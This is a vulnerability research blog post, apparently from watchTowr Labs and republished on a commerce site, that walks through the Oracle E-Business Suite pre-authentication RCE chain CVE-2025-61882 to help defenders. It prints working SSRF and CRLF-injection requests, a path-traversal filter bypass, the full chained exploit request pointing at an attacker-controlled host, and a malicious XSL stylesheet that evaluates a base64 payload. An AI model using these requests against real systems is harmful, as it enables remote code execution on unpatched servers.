START SELLING WITH BigBCC TODAY

Start your free trial with BigBCC today.

BLOG |

Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain

Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain

Table of Contents

We bet you thought you’d be allowed to sit there, breathe, and savour the few moments of peace you’d earned after a painful week in cyber security.

Obviously, you were horribly wrong, and you need to wake up now – we’re back, it’s all on fire, and Bambi (who seems to appear in our blog posts suspiciously often) is not your pet.

Over the last week, we’ve all been harassed by the rumours of supposed active and in-the-wild exploitation of Oracle EBS, with each and every vendor confidently declaring, of course, that their root cause was the correct root cause:

  • Maybe an Nday(?)
  • Maybe a password reset flaw(?)
  • Maybe a zero-day(?)
  • Maybe credential reuse(?)
  • Maybe password respraying(?)

While we enjoy our industry’s creative writing hijinx, we would like to say one thing: just shut up.

Random conjecture is objectively not helpful and actually becomes detrimental in a time of mass exploitation and panic when it results in widespread confusion.

Today, we’re going to walk through the exploit chain (that we’ve verified, nerds) being used to compromise Oracle E-Business Suite deployments (and was used as a zero-day) – now tagged as CVE-2025-61882.

To give you a summary of what is to come, what we have observed is that CVE-2025-61882 (as it is now memorably called) is not “just” one vulnerability. It is a poetic flow of numerous small/medium weaknesses.

This is noteworthy because (if others can speculate, we are going to as well) whoever first discovered these vulnerabilities and chained them clearly knows Oracle EBS incredibly well at this point. If these vulnerabilities as a group existed at one time, our spidey senses tell us there is a high probability of more vulnerabilities to be found.

For those who have zero patience or attention span, we’re going to walk you through this exploit chain that makes up CVE-2025-61882:

What Is Affected?

On Saturday 4th October, after days and days of speculation – Oracle finally dropped an advisory detailing what everyone already knew deep down.

Bad things were happening, and zero-day can happen to anyone (ha ha ha ha).

In a friendly-named Saturday alert, Oracle published Oracle Security Alert Advisory – CVE-2025-61882, sharing the worst:

  • This vulnerability is remotely exploitable without authentication, i.e., it may be exploited over a network without the need for a username and password. If successfully exploited, this vulnerability may result in remote code execution.

Yikes.

Oracle shared that versions 12.2.3 to 12.2.14 are affected, so this wasn’t “small” in terms of blast radius. We didn’t need to be an oracle to predict this (sorry).

A Wild PoC Appears

Out of thin air, we managed to get our hands on a fully functional Proof of Concept for this vulnerability that had dangerously fallen from a moving truck and right into our laps. Bizarre!

Diving Into A Wild PoC

When we typically analyze N-day or zero-day vulnerabilities, we normally follow a tried-and-true methodology to document the discovery route and the proof of concept. This case is an unusual flip: We started with a PoC and worked backwards to reconstruct how the chain was assembled.

You might wonder why we didn’t just file the PoC and move on. The chain demonstrates a high level of skill and effort, with at least five distinct bugs orchestrated together to achieve pre-authenticated Remote Code Execution.

Therefore, in our friendly and helpful way, we have reverse-engineered each stage and broken the attack into bite-sized, digestible steps – ultimately with the aim to arm defenders with the tools, and understanding, to identify vulnerable deployments in their environment and hunt for inevitable signs of prior exploitation.

Stage 1: Server-Side Request Forgery

The payload starts by sending a crafted XML request to the servlet below. This XML document can be used to coerce the backend server to send arbitrary HTTP requests.

Let’s investigate the reason behind the first vulnerability here.

Defined within the file /FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml, we can see a servlet definition for the URL pattern /configurator/UiServlet that maps to the below servlet definition and classpath:

   <servlet> 
      <servlet-name>czUiServlet</servlet-name> 
      <servlet-class>oracle.apps.cz.servlet.UiServlet</servlet-class> 
      <load-on-startup>1</load-on-startup> 
   </servlet>

The vulnerable code logic behind this servlet is as follows:

if (paramHttpServletRequest.getParameter("killAndRestartServer") != null) 
  paramHttpServletResponse.sendError(400);
  closeSession(httpSession);
 else if (paramHttpServletRequest.getParameter("generateOutput") != null) 
  generateOutput(paramHttpServletRequest, paramHttpServletResponse);
 else if (paramHttpServletRequest.getParameter("getUiType") != null) {
  String str = paramHttpServletRequest.getParameter("redirectFromJsp");// [1]
  XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType"));// [0]
  if (str == null || "false".equalsIgnoreCase(str)) 
    redirectToCZInitialize(paramHttpServletRequest, paramHttpServletResponse, str2);
    return;
   
  createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse);// [2]

Following the doRequest function, we hit a parameter-parsing block that:

  • [0] accepts an XML document via the getUiType parameter
  • [1] processes it only when redirectFromJsp is set
  • [2] passes the value to createNew() for parsing

Now, let’s investigate how the XML document we provide to this endpoint is handled and where it flows next:

String str1 = CZUiUtilities.resubXMLAndURLChars(XmlUtil.getReturnUrlParameter(paramXMLDocument));
clientAdapter.setReturnUrl(str1);

The XML element with the name attribute set to return_url is extracted and assigned to the clientAdapter object. From there, the request flow continues through a sequence of clientAdapter method calls before ultimately reaching the postXmlMessage() function.

Within postXmlMessage(), a URL connection is established through cZURLConnection.connect(), initiating the outbound request execution that follows:

  protected void postXmlMessage(String paramString1, String paramString2) throws ServletException 
    try 
      this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [raw] (", paramString1, ") for response.");
      URL uRL = getUrl(paramString1);
      if (uRL != null)
        paramString1 = uRL.toExternalForm(); 
      CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
      this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [path resolved] (", cZURLConnection.getFullURL(), ") for response.");
      String[] arrayOfString1 =  "XMLmsg" ;
      String[] arrayOfString2 =  paramString2 ;
      cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
      cZURLConnection.close();
     catch (Exception exception) 
      if (exception instanceof oracle.apps.cz.utilities.SSLSupportUnavailableException && this.m_sessionLogger != null)
        this.m_sessionLogger.logOutput(CZUiUtilities.stackTraceToString(exception)); 
      throw new ServletException("Could not post XML message to result URL: " + exception.getMessage());
     
  

What’s important here is the fact that the attacker has complete control over the URL of the HTTP connection, a classic SSRF!

private void connect(URL paramURL, String paramString) throws IOException 
    HttpURLConnection httpURLConnection = (HttpURLConnection)paramURL.openConnection();
    

    updateDefaultHeaders(httpURLConnection, ...);
    httpURLConnection.setDoOutput(true);
    httpURLConnection.setRequestMethod("POST");
    
    if (httpURLConnection != null) 
        this.m_connectionOutputStream = httpURLConnection.getOutputStream();
        postMessage(paramString, httpURLConnection);
    

The full raw HTTP request below can be used to trigger and demonstrate the Pre-Auth Server-Side Request Forgery in use in this exploit chain.

Beautifully though, for those that are panicking, this can also be used to validate exploitability and vulnerability of a production instance without the need for going nuclear with a full Remote Code Execution chain:

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: Hostname
Content-Type: application/x-www-form-urlencoded
Content-Length: 407

redirectFromJsp=1&getUiType=<@urlencode_all><?xml version="1.0" encoding="UTF-8"?>
<initialize>
    <param name="init_was_saved">test</param>
    <param name="return_url">http://external-host</param>
 
    <param name="ui_def_id">0</param>
    <param name="config_effective_usage_id">0</param>
    <param name="ui_type">Applet</param>
</initialize></@urlencode_all>

Stage 2: Carriage Return/Line Feed (CRLF) Injection

With a Pre-Auth Server-Side Request Forgery in hand, the vulnerability goes further – exerting full control over the SSRF request by utilizing CRLF payloads.

For those unattained, CRLF is the utilisation of new lines and carriage return characters typically denoted by \\n \\r bytes to malicious modify the contents of a file, string or parser to inject data into other areas unintended by the developers.

CRLF in the context of an SSRF can be a creative way to inject headers and parameters that would otherwise be uncontrollable via the URL.

For example, by utilizing a custom Python HTTP server, we’re able to observe raw HTTP requests and demonstrate that CRLF payloads can be utilized to inject arbitrary headers into the HTTP request triggered by the Server-Side Request Forgery, via HTML coded newline characters.

Full Request:

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: Hostname
Content-Type: application/x-www-form-urlencoded
Content-Length: 524

redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
    <param name="init_was_saved">test</param>
    <param name="return_url"><http://attacker-oob-server>&#47;HeaderInjectionTest&#32;HTTP&#47;1&#46;1&#13;&#10;InjectedHeader&#58;Injected&#13;&#10;&#32;&#13;&#10;&#13;&#13;&#10;&#13;&#13;&#10;&#13;&#13;&#10;POST&#32;&#47;</param>
 
    <param name="ui_def_id">0</param>
    <param name="config_effective_usage_id">0</param>
    <param name="ui_type">Applet</param>
</initialize></@urlencode>

HTTP request received locally:

[root@oob-server]# python3 server.py 80

[*] Serving raw HTTP on port 80

==================================================

DUMPING RAW HTTP REQUEST from oracle-business-ip:19080

POST /HeaderInjectionTest HTTP/1.1
--- HEADERS ---
InjectedHeader: Injected

Each stage incrementally increases the attacker’s control and access.

We will postpone figuring out how to use this specific vulnerability until Stage 4, but it is important to document the preceding stages now so readers can understand the full chain and assess their exposure.

Stage 3: What Can We Do With “Just” SSRF?

One of the clever moves in the exploit chain we observed was to weaponize a CRLF injection inside an SSRF payload, and then take it a step even further by abusing HTTP persistent connections.

This combination lets an attacker control request framing via the SSRF and then reuse the same TCP connection to chain additional requests, increasing reliability and reducing noise.

HTTP persistent connections, also known as HTTP keep-alive or connection reuse, let a single TCP connection carry multiple HTTP request/response pairs instead of opening a new connection for every exchange.

In this context, connection reuse amplifies the attacker’s leverage: once the initial SSRF and CRLF framing are in place, subsequent requests can be sent over the same channel, making the exploitation chain more efficient and harder to detect.

With the GET-based SSRF transformed into a POST, the exploit chain changes it’s focus to a locally-bound HTTP service listening on port 7201/TCP.

So.. let’s continue.

Stage 4: Authentication Filter Bypass

While SSRF vulnerabilities typically have limited impact on their own (do not @ us), they become dangerous when chained with other weaknesses or when they can reach sensitive internal resources.

To state the obvious, the GET-to-POST HTTP request pivot is both technically impressive and widens the scope of available “attack surface” – a POST-capable SSRF plus a reachable internal application logically and substantially increases what an attacker can attempt to do.

As discussed above, a typical Oracle E-Business Suite deployment exposes the core of the application within an HTTP service locally bound to port 7201/TCP :

# netstat -lnt

tcp6       0      0 172.31.28.161:7201      :::*                    LISTEN

Do you see the problem? The service isn’t bound to localhost – but instead, is bound specifically to a private IP/interface.

# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 172.31.28.161  netmask 255.255.240.0  broadcast 172.31.31.255
        inet6 fe80::35:95ff:fe6d:708b  prefixlen 64  scopeid 0x20<link>
        ether 02:35:95:6d:70:8b  txqueuelen 1000  (Ethernet)
        RX packets 7707474  bytes 1282347392 (1.1 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 51989617  bytes 68968447640 (64.2 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1861857  bytes 537605610 (512.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1861857  bytes 537605610 (512.7 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

But how will attackers figure out this private IP?

Well, luckily, Oracle EBS is very helpful – and always has the following entry inside the /etc/hosts file:

# cat /etc/hosts

172.31.28.161   apps.example.com        apps

#

This means this problem isn’t a problem – the exploit chain can leverage the known hostname to smuggle requests to http://apps.example.com:7201

From here, it’s possible to reach an extensive set of jsp files and servlets. But, is it?

# curl -s <http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp>

Requested resource or page is not allowed in this site

We will not go deep into the underlying implementation bug here, but a frequent filter bypass technique is path traversal, such as ../ or the Java variant ..;/.

In this case, the exploit chain leverages that technique to evade the application filter chain. The /help/ prefix is publicly accessible and does not require authentication.

When a traversal segment like ../ is combined with the /help/ prefix, the filter logic fails to enforce the authentication whitelist, allowing the request to reach otherwise restricted resources.

# curl -s --path-as-is <http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp>

<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ -->
<!-- +======================================================================+ -->
<!-- |    Copyright (c) 2005, 2017 Oracle and/or its affiliates.           | -->
<!-- |                         All rights reserved.                         | -->
<!-- |                           Version 12.0.0                             | -->
<!-- +======================================================================+ -->
<!--ICX_ACCESSIBILITY_FEATURES profile=Y-->

<html>
<head>
<!-- +======================================================================+ -->
<!-- |    Copyright (c) 2005, 2022 Oracle and/or its affiliates.           | -->
<!-- |                         All rights reserved.                         | -->
<!-- |                           Version 12.0.0                             | -->
<!-- +======================================================================+ -->
<!-- $Header: jtfscss.jsp 120.1.12020000.16 2022/04/27 09:56:43 srsiddam ship $ -->

[..SNIP..]

Stage 5: XSL Transformation (XSLT)

“Ok, so what’s next and how does the exploit chain leverage the new endpoints it can access?”

Great question.

In this case the exploit chain we reviewed targets /OA_HTML/help/../ieshostedsurvey.jsp on port 7201 (via the SSRF).

A quick review of the following JSP file /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/ieshostedsurvey.jsp shows a fairly simple but yet dangerous piece of code (no way!).

// /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/ieshostedsurvey.jsp

<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ -->
<%@ include file="jtfincl.jsp" %>
<%@page language="java" import="java.sql.*" %>
<%@page language="java" import="oracle.xml.sql.query.*" %>
<%@page language="java" import="oracle.xml.parser.v2.*" %>
<%@page language="java" import="java.net.*" %>
<%@page language="java" import="java.io.*" %>
<%
        //Admin Console assumed vars
        String appName = "IES";
        boolean stateless = true;
%>
<%@ include file="jtfsrnfp.jsp" %>

<html>
<head>
<%@ include file="jtfscss.jsp" %>
<title>Oralce iSurvey</title>
</head>
<body <%=_jtfPageContext.getHtmlBodyAttr() %> class="applicationBody">
<%@ include file="jtfdnbar.jsp" %>
<%
   String uriloc = request.getRequestURI();
   StringTokenizer st = new StringTokenizer(uriloc, "//");
   int tokenCount = st.countTokens();
   StringBuffer URI = new StringBuffer();
     URI.append("/");
      for( int i = 0; i < tokenCount-1; i++ ) 
         URI.append(st.nextToken());
         URI.append("/");
   
   StringBuffer urlbuf = new StringBuffer(); // [1]
   urlbuf.append("http://"); // [2]
   urlbuf.append(request.getServerName()); // [3]
   urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); // [4]
   String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl"; // [5]

   String desturl = ServletSessionManager.getURL("iessvymenubased.jsp");
   StringBuffer query = new StringBuffer("select s.survey_name || '--> ' || c.SURVEY_CYCLE_NAME || '--> ' || d.Deployment_name || '--> ' ||d.SURVEY_DEPLOYMENT_ID as survey_name,");
   query.append("\\'").append(desturl).append("\\'").append(" uri ,d.SURVEY_DEPLOYMENT_ID as deployment_id " +
        " from  IES_SVY_SURVEYS_ALL s, " +
                "       IES_SVY_CYCLES_ALL c, " +
                "       IES_SVY_DEPLYMENTS_ALL d " +
                " where " +
                "      s.SURVEY_ID = c.SURVEY_ID " +
                "      and c.SURVEY_CYCLE_ID = d.SURVEY_CYCLE_ID " +
                "      and d.DEPLOYMENT_STATUS_CODE = 'ACTIVE' " +
                "      and d.LIST_HEADER_ID is null " +
                "      and sysdate between d.DEPLOY_DATE and d.RESPONSE_END_DATE ");

   Connection conn = null;
   OracleXMLQuery q = null;
   try

        conn = TransactionScope.getConnection();
                q = new OracleXMLQuery(conn,query.toString());
   catch(Exception ex)
      out.println(ex.getMessage());
      if(conn != null)
        conn.close();
   
   XMLDocument xmlDoc = (XMLDocument)q.getXMLDOM();
   //URL stylesheetURL = new URL("<http://kpandey-lap1.us.oracle.com/html/ieshostedsurvey.xsl>");
   URL stylesheetURL = new URL(xslURL.toString()); // [6]
   XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); // [7]
   XSLProcessor xslt = new XSLProcessor(); // [8]

   ByteArrayOutputStream outBytes = new ByteArrayOutputStream();
   xslt.processXSL(sheet, xmlDoc, new PrintWriter(new BufferedWriter(new OutputStreamWriter(outBytes)))); // [9]
   String html =outBytes.toString();
   out.println(html);
%>
</body>
</html>
<%@ include file="jtfernlp.jsp" %>

This code works as follows:

  • [1] creates a string variable urlbuf
  • [2] appends the literal http:// to urlbuf
  • [3] extracts the hostname from the request Host: header and appends it to urlbuf
  • [4] extracts the port number from the same Host: header and append it to urlbuf
  • [5] appends /ieshostedsurvey.xsl to urlbuf and assign the result to xslURL
  • [6] constructs a URL object from xslURL and assign it to stylesheetURL
  • [7] instantiates an XSLStylesheet object using stylesheetURL
  • [8] creates an XSLProcessor instance
  • [9] invokes xslt.processXSL(), which fetches and parses the remote XSL document

Taken together, the code builds a remote URL from the incoming Host: header, then fetches and processes that stylesheet via Java’s XSLT machinery.

This causes the Java code to download /ieshostedsurvey.xsl from the attacker-controlled server, and because XSLT processing in Java can invoke templates and extension functions, loading an untrusted stylesheet creates a significant risk of remote code execution.

Mashing It All Together

You might be wondering – “Why did they keep the connection alive by providing a POST / at the end of the packet?”

Well, this is because if the connection is not kept alive, the XSL document can not be downloaded and parsed in-time – which causes the full RCE chain to fail.

Put simply, the above describes an HTTP request (shown below) that triggers the exploit chain – achieving Pre-Auth RCE.

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: not-actually-watchtowr.com-stop-emailing-us-about-iocs:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo
Content-Length: 847
Content-Type: application/x-www-form-urlencoded

redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
    <param name="init_was_saved">test</param>
    <param name="return_url"><http://apps.example.com:7201><@html_entities>/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: attacker-oob-server
User-Agent: anything
Connection: keep-alive
Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo
 

POST /</@html_entities></param>
 
    <param name="ui_def_id">0</param>
    <param name="config_effective_usage_id">0</param>
    <param name="ui_type">Applet</param>
</initialize></@urlencode>

On an attacker-controlled host, the attacker then serves a classic malicious XSL document that triggers Arbitrary Code Execution, like so:

<xsl:stylesheet version="1.0"
                    xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
                    xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"
                    xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"
                    xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"
                    xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>

Speak soon.

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO

Source link

Share Article:

The newsletter for entrepreneurs

Join millions of self-starters in getting business resources, tips, and inspiring stories in your inbox.

Unsubscribe anytime. By entering your email, you agree to receive
emails from BigBCC.

The newsletter for entrepreneurs

Join millions of self-starters in getting business resources, tips, and inspiring stories in your inbox.

Unsubscribe anytime. By entering your email, you agree to receive marketing emails from BigBCC. By proceeding, you agree to the Terms and Conditions and Privacy Policy.

SELL ANYWHERE
WITH BigBCC

Learn on the go. Try BigBCC for free, and explore all the tools you need to
start, run, and grow your business.